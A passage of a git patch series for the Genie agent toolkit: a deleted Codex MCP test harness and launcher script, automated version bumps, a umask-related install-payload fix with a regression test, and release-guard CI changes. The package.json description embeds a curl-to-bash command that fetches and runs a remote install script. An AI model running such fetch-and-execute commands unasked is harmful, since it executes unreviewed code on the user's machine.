{ - throw new CodexNativeMcpEvidenceError( - 'codex-unavailable', - `codex preflight failed (status=${String(result.status)}): ${String(result.stderr).trim().slice(0, 1_000)}`, - { cause: result.error }, - ); - } - const actualVersion = result.stdout.trim(); - if (actualVersion !== pin.version.trim()) { - throw new CodexNativeMcpEvidenceError( - 'codex-version-mismatch', - `codex version mismatch: expected ${JSON.stringify(pin.version.trim())}, got ${JSON.stringify(actualVersion)}`, - ); - } -} - -async function startThread( - session: AppServerSession, - options: ReturnType<typeof normalizeOptions>, - launcherRecord: string, -): Promise<string> { - const adapter = options.candidate.adapter ?? '-'; - const response = await session.request( - 'thread/start', - { - cwd: options.requestedCwd, - ephemeral: true, - config: { - mcp_servers: { - [MCP_SERVER_NAME]: { - command: options.launcherExecutable, - args: [launcherRecord, adapter, options.candidate.executable, ...options.candidate.args], - // Codex spawns MCP servers with a sanitized environment, so the - // execution adapter's stateful switch must be declared here — a - // clean env silently drops the adapter into probe mode (read-only - // /candidate mount, cwd=/ in the container) and every project - // resolution reports "no Git worktree contains /". - ...(options.candidate.adapter === undefined || options.env.DOGFOOD_ROOT === undefined - ? {} - : { env: { DOGFOOD_ROOT: options.env.DOGFOOD_ROOT } }), - }, - }, - }, - }, - options.timeouts.threadStartMs, - ); - const result = response.result; - const thread = isRecord(result) && isRecord(result.thread) ? result.thread : null; - if (!thread || typeof thread.id !== 'string' || !thread.id) { - throw new CodexNativeMcpEvidenceError( - 'app-server-failure', - `thread/start returned no thread id: ${truncateJson(response, 1_000)}`, - ); - } - return thread.id; -} - -async function waitForLauncherObservation( - recordFile: string, - candidate: NativeMcpCandidate & { args: string[] }, - timeoutMs: number, -): Promise<NativeMcpLauncherObservation> { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - const observed = tryReadLauncherObservation(recordFile); - if (observed) { - const adapter = candidate.adapter ?? null; - if ( - observed.adapter !== adapter || - observed.candidate !== candidate.executable || - !arraysEqual(observed.args, candidate.args) - ) { - throw new CodexNativeMcpEvidenceError( - 'launcher-mismatch', - `launcher target differs from requested candidate: ${truncateJson(observed, 1_000)}`, - ); - } - return observed; - } - await delay(Math.min(50, Math.max(1, deadline - Date.now()))); - } - throw new CodexNativeMcpEvidenceError( - 'launcher-timeout', - `candidate launcher observation did not appear within ${timeoutMs}ms`, - ); -} - -function tryReadLauncherObservation(recordFile: string): NativeMcpLauncherObservation | null { - if (!existsSync(recordFile)) return null; - let fields: string[]; - try { - const bytes = readFileSync(recordFile); - fields = bytes - .toString('utf8') - .split('\0') - .filter((field, index, all) => !(index === all.length - 1 && field === '')); - } catch { - return null; - } - if (fields.length < 6 || fields[0] !== LAUNCHER_SCHEMA) return null; - const pid = Number(fields[1]); - const cwdIdentity = fields[3] ?? ''; - if (!Number.isSafeInteger(pid) || pid <= 0 || !/^\d+:\d+$/.test(cwdIdentity)) return null; - return { - pid, - effectiveCwd: fields[2] ?? '', - cwdIdentity, - adapter: fields[4] === '-' ? null : (fields[4] ?? null), - candidate: fields[5] ?? '', - args: fields.slice(6), - }; -} - -async function waitForMcpInventory( - session: AppServerSession, - threadId: string, - timeoutMs: number, -): Promise<McpInventory> { - const deadline = Date.now() + timeoutMs; - let lastResult: unknown; - while (Date.now() < deadline) { - const remaining = Math.max(1, deadline - Date.now()); - const response = await session.request('mcpServerStatus/list', { threadId, detail: 'full', limit: 100 }, remaining); - lastResult = response.result; - const inventory = parseInventory(response.result); - if (inventory) return inventory; - await delay(Math.min(100, Math.max(1, deadline - Date.now()))); - } - throw new CodexNativeMcpEvidenceError( - 'mcp-inventory-mismatch', - `thread did not expose exactly one ${MCP_SERVER_NAME} server with genie_board: ${truncateJson(lastResult, 1_000)}`, - ); -} - -function parseInventory(result: unknown): McpInventory | null { - if (!isRecord(result) || !Array.isArray(result.data) || result.data.length !== 1) return null; - const server = result.data[0]; - if (!isRecord(server) || server.name !== MCP_SERVER_NAME || !isRecord(server.tools)) return null; - const tools = Object.keys(server.tools).sort(); - if (!tools.includes('genie_board')) return null; - return { name: MCP_SERVER_NAME, tools }; -} - -async function callBoard( - session: AppServerSession, - threadId: string, - timeoutMs: number, -): Promise<NativeMcpToolResponse> { - const response = await session.request( - 'mcpServer/tool/call', - { threadId, server: MCP_SERVER_NAME, tool: 'genie_board', arguments: {} }, - timeoutMs, - ); - if (!isRecord(response.result) || !Array.isArray(response.result.content)) { - throw new CodexNativeMcpEvidenceError( - 'mcp-tool-failure', - `mcpServer/tool/call returned an invalid result: ${truncateJson(response, 1_000)}`, - ); - } - return response.result as unknown as NativeMcpToolResponse; -} - -function parseToolPayload(response: NativeMcpToolResponse): Record<string, unknown> { - if (response.content.length !== 1) { - throw new CodexNativeMcpEvidenceError( - 'mcp-tool-failure', - `genie_board must return one content item, received ${response.content.length}`, - ); - } - const content = response.content[0]; - if (!isRecord(content) || content.type !== 'text' || typeof content.text !== 'string') { - throw new CodexNativeMcpEvidenceError('mcp-tool-failure', 'genie_board content item is not text'); - } - try { - const payload = JSON.parse(content.text) as unknown; - if (!isRecord(payload)) throw new Error('payload is not an object'); - return payload; - } catch (error) { - throw new CodexNativeMcpEvidenceError('mcp-tool-failure', 'genie_board text is not one JSON object', { - cause: asError(error), - }); - } -} - -async function runControl( - session: AppServerSession, - options: ReturnType<typeof normalizeOptions>, - timeoutMs: number, -): Promise<NativeMcpControlEvidence> { - const response = await session.request( - 'command/exec', - { - command: [options.controlExecutable, '-e', CONTROL_SOURCE], - cwd: options.requestedCwd, - timeoutMs, - outputBytesCap: 16_384, - }, - timeoutMs + 2_000, - ); - if (!isRecord(response.result)) { - throw new CodexNativeMcpEvidenceError( - 'control-failure', - `command/exec returned an invalid result: ${truncateJson(response, 1_000)}`, - ); - } - const { exitCode, stdout, stderr } = response.result; - if (exitCode !== 0 || typeof stdout !== 'string') { - throw new CodexNativeMcpEvidenceError( - 'control-failure', - `command/exec failed (exit=${String(exitCode)}): ${typeof stderr === 'string' ? stderr.slice(0, 1_000) : ''}`, - ); - } - try { - const parsed = JSON.parse(stdout.trim()) as unknown; - if ( - !isRecord(parsed) || - typeof parsed.cwd !== 'string' || - typeof parsed.pid !== 'number' || - typeof parsed.dev !== 'number' || - typeof parsed.ino !== 'number' - ) { - throw new Error('control payload fields are invalid'); - } - return { - pid: parsed.pid, - effectiveCwd: parsed.cwd, - cwdIdentity: `${parsed.dev}:${parsed.ino}`, - }; - } catch (error) { - throw new CodexNativeMcpEvidenceError('control-failure', 'command/exec stdout is not control evidence', { - cause: asError(error), - }); - } -} - -function assertCwdEquality(launcher: NativeMcpLauncherObservation, control: NativeMcpControlEvidence): void { - if (launcher.effectiveCwd !== control.effectiveCwd || launcher.cwdIdentity !== control.cwdIdentity) { - throw new CodexNativeMcpEvidenceError( - 'cwd-mismatch', - `candidate cwd ${launcher.effectiveCwd} (${launcher.cwdIdentity}) differs from control ` + - `${control.effectiveCwd} (${control.cwdIdentity})`, - ); - } -} - -function validateExpectedOutcome( - options: ReturnType<typeof normalizeOptions>, - response: NativeMcpToolResponse, - payload: Record<string, unknown>, -): NativeMcpEvidenceOutcome { - if (options.expectedSentinel) { - if (response.isError === true) { - throw new CodexNativeMcpEvidenceError( - 'sentinel-mismatch', - `genie_board returned an error instead of the sentinel: ${truncateJson(payload, 1_000)}`, - ); - } - return { kind: 'sentinel', sentinel: assertUniqueBoardSentinel(payload, options.expectedSentinel), payload }; - } - if (response.isError !== true || payload.error !== options.expectedError) { - throw new CodexNativeMcpEvidenceError( - 'expected-error-mismatch', - `genie_board did not return expected ${String(options.expectedError)}: ${truncateJson(payload, 1_000)}`, - ); - } - if (Object.hasOwn(payload, 'tasks') || Object.hasOwn(payload, 'counts')) { - throw new CodexNativeMcpEvidenceError( - 'expected-error-mismatch', - 'fail-closed genie_board error must not contain tasks or counts', - ); - } - return { - kind: 'expected-error', - error: options.expectedError as NativeMcpExpectedError, - payload, - }; -} - -function mergeTimeouts(overrides: Partial<CodexNativeMcpEvidenceTimeouts> | undefined): CodexNativeMcpEvidenceTimeouts { - const merged = { ...DEFAULT_TIMEOUTS, ...overrides }; - for (const [name, value] of Object.entries(merged)) { - if (!Number.isSafeInteger(value) || value <= 0 || value > 120_000) { - throw new CodexNativeMcpEvidenceError('invalid-options', `${name} must be an integer from 1 to 120000`); - } - } - return merged; -} - -function assertAbsolute(name: string, path: string): void { - if (!path || !isAbsolute(path)) { - throw new CodexNativeMcpEvidenceError('invalid-options', `${name} must be an absolute path`); - } -} - -function isRecord(value: unknown): value is Record<string, unknown> { - return typeof value === 'object' && value !== null && !Array.isArray(value); -} - -function arraysEqual(a: string[], b: string[]): boolean { - return a.length === b.length && a.every((value, index) => value === b[index]); -} - -function truncateJson(value: unknown, maxLength: number): string { - try { - return JSON.stringify(value).slice(0, maxLength); - } catch { - return String(value).slice(0, maxLength); - } -} - -function asError(error: unknown): Error { - return error instanceof Error ? error : new Error(String(error)); -} - -function toEvidenceError( - error: unknown, - fallbackCode: CodexNativeMcpEvidenceErrorCode, - fallbackMessage: string, -): CodexNativeMcpEvidenceError { - if (error instanceof CodexNativeMcpEvidenceError) return error; - return new CodexNativeMcpEvidenceError(fallbackCode, `${fallbackMessage}: ${asError(error).message}`, { - cause: asError(error), - }); -} - -function delay(ms: number): Promise<void> { - return new Promise((resolve) => setTimeout(resolve, ms)); -} diff --git a/tests/support/codex-native-mcp-launcher.sh b/tests/support/codex-native-mcp-launcher.sh deleted file mode 100755 index 95cb2fc78..000000000 --- a/tests/support/codex-native-mcp-launcher.sh +++ /dev/null @@ -1,42 +0,0 @@ -#!/bin/sh -set -eu - -if [ "$#" -lt 3 ]; then - echo "usage: codex-native-mcp-launcher.sh RECORD ADAPTER_OR_DASH CANDIDATE [ARG ...]" >&2 - exit 64 -fi - -record_file=$1 -adapter=$2 -candidate=$3 -shift 3 - -effective_cwd=$(pwd -P) -if cwd_identity=$(stat -f '%d:%i' . 2>/dev/null); then - : -elif cwd_identity=$(stat -c '%d:%i' . 2>/dev/null); then - : -else - echo "codex-native-mcp-launcher: cannot stat effective cwd" >&2 - exit 70 -fi - -record_tmp="${record_file}.tmp.$$" -umask 077 -{ - printf '%s\0' 'codex-native-mcp-launcher-v1' - printf '%s\0' "$$" - printf '%s\0' "$effective_cwd" - printf '%s\0' "$cwd_identity" - printf '%s\0' "$adapter" - printf '%s\0' "$candidate" - for argument in "$@"; do - printf '%s\0' "$argument" - done -} >"$record_tmp" -mv "$record_tmp" "$record_file" - -if [ "$adapter" = '-' ]; then - exec "$candidate" "$@" -fi -exec "$adapter" "$candidate" "$@" From eccf0ae4a038850896cd6bea5051301c45d5fec5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 23:53:57 +0000 Subject: [PATCH 19/45] chore(version): bump to 5.260829.8 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 21ca7b532..e013d5e03 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.7", + "version": "5.260829.8", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 9de61144d..611059cf1 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.7", + "version": "5.260829.8", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 28726c985..744aa8a9a 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.7", + "version": "5.260829.8", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index a3e2a7bb8..980c1c27b 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.7", + "version": "5.260829.8", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index c5d8dbc0f..c66943e30 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.7", + "version": "5.260829.8", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index dfd786da2..ed590592c 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.7", + "version": "5.260829.8", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 98642b6cc..ce5cf06c5 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.7 +version: 5.260829.8 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index f62846878..7fc282177 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.7", + "version": "5.260829.8", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From a4fddce958c4233cb330e1a00941904aac1ffa92 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 21:47:45 -0300 Subject: [PATCH 20/45] fix(update): admit umask-restricted release payloads and re-sync orca-plugin.json (#2821) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `genie update` failed on every host whose umask strips group/other bits (e.g. 077) with "admitted install payload content does not match the authenticated source". `tar -xzf` extracts the Genie binary as 0700 there; admission digested the external payload (mode-bearing digest, 0700), copied it, then fchmod'ed the held copy to 0755 — so the two digests could never agree. Normalize the external binary to 0755 through an owned O_NOFOLLOW descriptor *before* the authenticated digest is taken; the external root is our own private extraction sandbox and the copy was going to be 0755 anyway. Regression test reproduces the exact failure; two existing tests that assumed a permissive umask now chmod the bits they assert. Also bump plugins/genie/orca-plugin.json to 5.260829.8: main's version.yml (the copy workflow_run actually executes) still syncs seven JSON files and leaves orca-plugin.json behind, which is what broke the dev tarball build and this PR's CI. The workflow fix on dev only takes effect once promoted to main. Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- plugins/genie/orca-plugin.json | 2 +- src/lib/install-promotion.test.ts | 38 +++++++++++++++++++++++++------ src/lib/install-promotion.ts | 31 +++++++++++++++++++++++++ 3 files changed, 63 insertions(+), 8 deletions(-) diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index 1c2a5dc27..d399caf9a 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.7", + "version": "5.260829.8", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/src/lib/install-promotion.test.ts b/src/lib/install-promotion.test.ts index 986d0414e..9112c57d0 100644 --- a/src/lib/install-promotion.test.ts +++ b/src/lib/install-promotion.test.ts @@ -127,13 +127,9 @@ function writeReceipt( phase, member, }; - writeFileSync( - join(transactionRoot, 'receipts', `${sequence.toString().padStart(12, '0')}.json`), - `${JSON.stringify(body)}\n`, - { - mode, - }, - ); + const path = join(transactionRoot, 'receipts', `${sequence.toString().padStart(12, '0')}.json`); + writeFileSync(path, `${JSON.stringify(body)}\n`, { mode }); + chmodSync(path, mode); // the create mode is umask-filtered; tests need the exact bits they asked for } afterEach(() => { @@ -543,6 +539,7 @@ describe('installer promotion transaction', () => { const fixture = makeFixture(); const previous = join(fixture.bin, '.previous'); mkdirSync(previous, { mode: 0o755 }); + chmodSync(previous, 0o755); // the create mode is umask-filtered; the test needs exactly 0755 const report = promote(fixture); @@ -801,6 +798,33 @@ describe('installer promotion transaction', () => { expect(readFileSync(join(victim, 'sentinel'), 'utf8')).toBe('safe\n'); }); + test('admission normalizes a umask-restricted external binary mode before authenticating content', () => { + // Regression: `tar -xzf` under umask 077 extracts `genie` as 0700. Admission + // used to digest the external payload (mode 0700), copy it, then fchmod the + // copy to 0755 — so the mode-bearing digests could never agree and every + // update on such a host failed with "does not match the authenticated source". + const root = makeRoot(); + const home = join(root, 'home'); + const external = join(root, 'external'); + mkdirSync(join(home, 'bin'), { recursive: true, mode: 0o700 }); + mkdirSync(external, { mode: 0o700 }); + writePayload(external, '2.0.0'); + chmodSync(join(external, 'genie'), 0o700); + const guard = admitExternalInstallStaging({ + genieHome: home, + externalStagingRoot: external, + expectedVersion: '2.0.0', + randomId: () => '99999999-9999-4999-8999-999999999999', + }); + try { + expect(Number(lstatSync(join(guard.stagingRoot, 'genie')).mode & 0o777)).toBe(0o755); + expect(Number(lstatSync(join(external, 'genie')).mode & 0o777)).toBe(0o755); + expect(() => verifyAdmittedInstallStagingPayload(guard)).not.toThrow(); + } finally { + closeInstallStagingDirectory(guard); + } + }); + test('post-admission same-root mutation breaks the authenticated payload guard', () => { const root = makeRoot(); const home = join(root, 'home'); diff --git a/src/lib/install-promotion.ts b/src/lib/install-promotion.ts index b2f693acf..75db66881 100644 --- a/src/lib/install-promotion.ts +++ b/src/lib/install-promotion.ts @@ -744,6 +744,36 @@ function copyPayloadIntoHeldStaging(externalStagingRoot: string, guard: InstallS if (operationError !== undefined) throw operationError; } +/** + * Normalize the external payload's Genie binary to the canonical executable + * mode before its content is authenticated. The payload digest binds + * `mode & 0o777`, and admission always fchmods the held copy to 0755; on a + * host whose umask strips group/other bits (e.g. 077) `tar -xzf` extracts the + * binary as 0700, so digesting first and normalizing second could never agree. + * The external root is our own private extraction sandbox, so this mutates + * only an owned physical file we are about to copy anyway. + */ +function normalizeExternalBinaryMode(externalStagingRoot: string): void { + const path = join(externalStagingRoot, 'genie'); + let fd: number; + try { + fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + } catch (error) { + throw new InstallPromotionError(`external install payload binary is not an openable physical file: ${path}`, { + cause: error, + }); + } + try { + const stat = fstatSync(fd, { bigint: true }); + if (!stat.isFile() || stat.uid !== currentUid() || stat.nlink !== 1n) { + throw new InstallPromotionError('external install payload binary is not an owned physical file'); + } + if ((stat.mode & 0o777n) !== 0o755n) fchmodSync(fd, 0o755); + } finally { + closeSync(fd); + } +} + /** Admit an exact external release payload into the existing promotion engine's private direct-child contract. */ export function admitExternalInstallStaging(options: AdmitExternalInstallStagingOptions): InstallStagingDirectoryGuard { const externalStagingRoot = resolve(options.externalStagingRoot); @@ -757,6 +787,7 @@ export function admitExternalInstallStaging(options: AdmitExternalInstallStaging if (expectedVersion === null) { throw new InstallPromotionError('external install staging requires an expectedVersion to authenticate VERSION'); } + normalizeExternalBinaryMode(externalStagingRoot); const externalBefore = verifyPayloadLayout(externalStagingRoot, dependencies); verifyPayloadVersionStamp(join(externalStagingRoot, 'VERSION'), expectedVersion); const authenticatedContentDigest = payloadContentDigest(externalStagingRoot); From b5e68eeab44f2ce273aadcde77170fef08410ec8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 00:50:07 +0000 Subject: [PATCH 21/45] chore(version): bump to 5.260830.1 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index e013d5e03..84c7466ce 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.8", + "version": "5.260830.1", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 611059cf1..a7bd2e1dc 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.8", + "version": "5.260830.1", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 744aa8a9a..1404cfe5b 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.8", + "version": "5.260830.1", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 980c1c27b..c414c92d5 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.8", + "version": "5.260830.1", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index c66943e30..0824af750 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.8", + "version": "5.260830.1", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index ed590592c..36cb14803 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.8", + "version": "5.260830.1", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index ce5cf06c5..48d7d66b5 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.8 +version: 5.260830.1 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 7fc282177..bc25f64bc 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.8", + "version": "5.260830.1", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From e70dfd5addaf6620e8056434fbe7375cd2642d1f Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 22:00:56 -0300 Subject: [PATCH 22/45] ci(release): stop gating dev releases on the committed Orca manifest version (#2823) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci(release): stop gating dev releases on the committed Orca manifest version workflow_run executes the version.yml on main, so the ninth bump field (plugins/genie/orca-plugin.json, #2812) was inert on dev: every dev auto-version child since 5.260829.5 bumped eight files, failed the --verify-source gate and the unit test (5.260829.8 vs .7), and tripped release-guard's exact nine-file child delta — no dev tarball shipped after v5.260829.4 and the rolling promotion #2817 stayed red. - release-payload-version: the committed Orca manifest version is advisory; the shipped copy is stamped by --stamp and verified by --verify inside the payload, which is the only copy Orca loads. - release-guard: the Orca manifest is an optional member of the version-only child delta; when present it must still be version-only. - sync orca-plugin.json to 5.260829.8 so the committed tree is tidy. Dev CI no longer depends on which bump list main's workflow carries. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg * test(release): committed Orca manifest version is advisory, not a source-sync assertion Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- plugins/genie/orca-plugin.json | 2 +- scripts/release-guard.sh | 37 ++++++++++++++----------- scripts/release-guard.test.ts | 33 ++++++++++++++++++++++ scripts/release-payload-version.test.ts | 24 +++++++++++++--- scripts/release-payload-version.ts | 19 ++++++++++++- 5 files changed, 93 insertions(+), 22 deletions(-) diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index d399caf9a..80e43e5df 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.8", + "version": "5.260830.1", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/scripts/release-guard.sh b/scripts/release-guard.sh index 5be540462..b2914ca2c 100755 --- a/scripts/release-guard.sh +++ b/scripts/release-guard.sh @@ -150,29 +150,34 @@ check_ci_run_record() { # delta is the deterministic version bump produced by version.yml. Comparing # normalized documents prevents an allowlisted package.json from smuggling a # script or dependency change past the parent commit's successful CI run. +# +# The native Orca manifest is an OPTIONAL member of that delta: `workflow_run` +# executes the `version.yml` on main, so a bump field added on dev is inert +# until promotion. A child that omits it is still the deterministic bump of +# the workflow that produced it; when present it must be version-only like +# every other member. Its shipped copy is stamped inside the payload anyway. version_child_matches_parent() { local parent_sha="$1" child_sha="$2" version="$3" path changed expected child_yaml + local -a json_paths=( + package.json + plugins/genie/.claude-plugin/plugin.json + plugins/genie/.codex-plugin/plugin.json + plugins/genie/.kimi-plugin/plugin.json + plugins/genie/package.json + plugins/pi-genie/package.json + ) + changed="$(git diff --name-only "$parent_sha" "$child_sha" -- | LC_ALL=C sort)" || return 1 + if grep -qx 'plugins/genie/orca-plugin.json' <<<"$changed"; then + json_paths+=(plugins/genie/orca-plugin.json) + fi expected="$(printf '%s\n' \ '.claude-plugin/marketplace.json' \ - 'package.json' \ - 'plugins/genie/.claude-plugin/plugin.json' \ - 'plugins/genie/.codex-plugin/plugin.json' \ - 'plugins/genie/.kimi-plugin/plugin.json' \ - 'plugins/genie/orca-plugin.json' \ - 'plugins/genie/package.json' \ - 'plugins/pi-genie/package.json' \ - 'plugins/hermes-genie/plugin.yaml' | LC_ALL=C sort)" - changed="$(git diff --name-only "$parent_sha" "$child_sha" -- | LC_ALL=C sort)" || return 1 + 'plugins/hermes-genie/plugin.yaml' \ + "${json_paths[@]}" | LC_ALL=C sort)" [[ "$changed" == "$expected" ]] || return 1 [[ "$(git show -s --format=%s "$child_sha")" == "chore(version): bump to ${version} [auto-version]" ]] || return 1 - for path in package.json \ - plugins/genie/.claude-plugin/plugin.json \ - plugins/genie/.codex-plugin/plugin.json \ - plugins/genie/.kimi-plugin/plugin.json \ - plugins/genie/orca-plugin.json \ - plugins/genie/package.json \ - plugins/pi-genie/package.json; do + for path in "${json_paths[@]}"; do git show "${child_sha}:${path}" | jq -e --arg version "$version" '.version == $version' >/dev/null || return 1 cmp -s \ diff --git a/scripts/release-guard.test.ts b/scripts/release-guard.test.ts index 88c2ee5dd..714dc42f5 100644 --- a/scripts/release-guard.test.ts +++ b/scripts/release-guard.test.ts @@ -346,6 +346,39 @@ describe('check-version-child (parent CI inheritance)', () => { expect(result.exitCode).toBe(0); }); + // workflow_run executes the version.yml on main, so a bump produced before + // the Orca manifest 